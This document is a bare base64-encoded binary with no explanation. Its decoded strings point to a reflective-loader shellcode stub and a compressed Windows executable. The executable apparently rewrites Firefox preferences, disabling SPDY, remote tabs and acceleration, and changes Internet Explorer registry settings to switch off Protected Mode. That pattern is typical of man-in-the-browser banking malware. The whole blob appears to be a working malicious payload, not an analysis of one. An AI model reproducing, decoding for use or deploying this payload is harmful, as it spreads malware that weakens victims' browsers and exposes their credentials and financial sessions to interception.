QUECAEBAQUQDAAIAAAEAAEBAQEABAQAAQEBAQEBAQEAhISEhAQEBASQkBiEAAAAAgACAgAAAQEAAAAAAAABAQEBAQECAAAAAAACAAIBAgEFAQEBAQEBAQECAgICAgIBAQEBAQFCAQIBAQEBAQEBAQAAAAAAAAIAAUIBRgICAgIBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBBQUFBQEBAAEBAgIBAQEBAJCQkJCQkJCQkJCQkJCQkJEBAQEBAQEBAQEBAQEBAQEAAAABAQUCAgAAAAEBBQEBAQEBAQEBAQEBAQEFAQEBAQEBAQUBBQUFAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICQaAAAAABoAAAAAGoAagC4AAAAAP/QwgQAkJCQSIPsKDPJMdJJuAAAAAAAAAAASbkAAAAAAAAAAEi4AAAAAAAAAAD/0EiDxCjDkJCQSXNXb3c2NFByb2Nlc3MAAAAAAABIi8RIiVgISIloEEiJcBhIiXggQVRBVUFWQVdFM+RIi9pIgfr//wAAcwRED7fiuE1aAABmOQEPhfQAAABIY1E8SAPRSDvRD4LkAAAASI2BABAAAEg70A+D1AAAAIE6UEUAAA+FyAAAAIuCiAAAAIXAD4S6AAAATI0EAUw7wQ+CrQAAAItSUEgD0Uw7wg+DngAAAEWLeBhFi2gUQYtoHEWLUCBFi1gkRTv9RQ9H70gD6UwD0UwD2Ug76XJ1SDvqc3BMO9Fya0w70nNmTDvZcmFMO9pzXDPSRYXtdFVFi3AQQTvXcwxFiwJFD7cLTAPB6wZFM8BEi8pDjQQORDvgdFBNhcB0HUGKODP2QDo7dRNAhP90PEn/wP/GQYo4QDo8HnTt/8JJg8IESYPDAkE71XKvM8BIi1wkKEiLbCQwSIt0JDhIi3wkQEFfQV5BXUFcw0GLwYtEhQBIA8Hr18xSZWZsZWN0aXZlTG9hZGVyAAAAAEjHwQBIx8IAQbgAAEnHwQBIg+wgAAAAAEjHwABrZXJuZWwzMi5kbGwAAAAAAAAAAHVzZXJfcHJlZigibmV0d29yay5odHRwLnNwZHkuZW5hYmxlZC52My0xIiwgZmFsc2UpOw0KdXNlcl9wcmVmKCJuZXR3b3JrLmh0dHAuc3BkeS5lbmFibGVkLnYzIiwgZmFsc2UpOw0KdXNlcl9wcmVmKCJuZXR3b3JrLmh0dHAuc3BkeS5lbmFibGVkIiwgZmFsc2UpOw0KdXNlcl9wcmVmKCJicm93c2VyLnRhYnMucmVtb3RlLmF1dG9zdGFydCIsIGZhbHNlKTsNCnVzZXJfcHJlZigiYnJvd3Nlci50YWJzLnJlbW90ZS5hdXRvc3RhcnQuMiIsIGZhbHNlKTsNCnVzZXJfcHJlZigiZ2Z4LmRpcmVjdDJkLmRpc2FibGVkIiwgdHJ1ZSk7DQp1c2VyX3ByZWYoImxheWVycy5hY2NlbGVyYXRpb24uZGlzYWJsZWQiLCB0cnVlKTsAAAAlYXBwZGF0YSUAAAAlc1wlc1wlc1wlcy5pbmkATW96aWxsYQBGaXJlZm94AFByb2ZpbGVzAAAAAFByb2ZpbGUAUGF0aAAAAAAlc1wlc1wlc1wlc1wlc1wlcy5qcwAAAABwcmVmcwAAAA0KAAAAAAAAQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLwAAAABTb2Z0d2FyZVxNaWNyb3NvZnRcSW50ZXJuZXQgRXhwbG9yZXJcTWFpbgAAAE5vUHJvdGVjdGVkTW9kZUJhbm5lcgAAAFRhYlByb2NHcm93dGgAAABTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xab25lc1wzADI1MDAAAAAAAAAAAEFQMzIYAAAA8fcAAGNPkLcA/gAAPrv+NU04WpA4A2YCBAlx/4G4wpEBQMIVxvgJHA4fuvgAtAnNIbgBTMAKVGhpcyAOcHJvZ2dhbYdjR24fT3TnYmWvz3VfmGkGRE9+UwNtb2RlLg2JCiRMRMEBTk9fhS8hDFgERj4gfCqHCEcuPn4ihhqMV7IIJyQgxs0RH4h9xBCVz/2IhGT6cv8YUmkoY2hQjbxCUEUBTAEFwPtWK39aFBzgAwIhCwEqZyANiAEQL6MFKQkwDyIMQQKadAEjFAijMSkRBAsVAg0pEDgjCKEHDJD9CGjIEfiRZGzYVuDnS6HMMCq05yKEuCBJ/az0Sqi0MNYOLnRleHEVQh+R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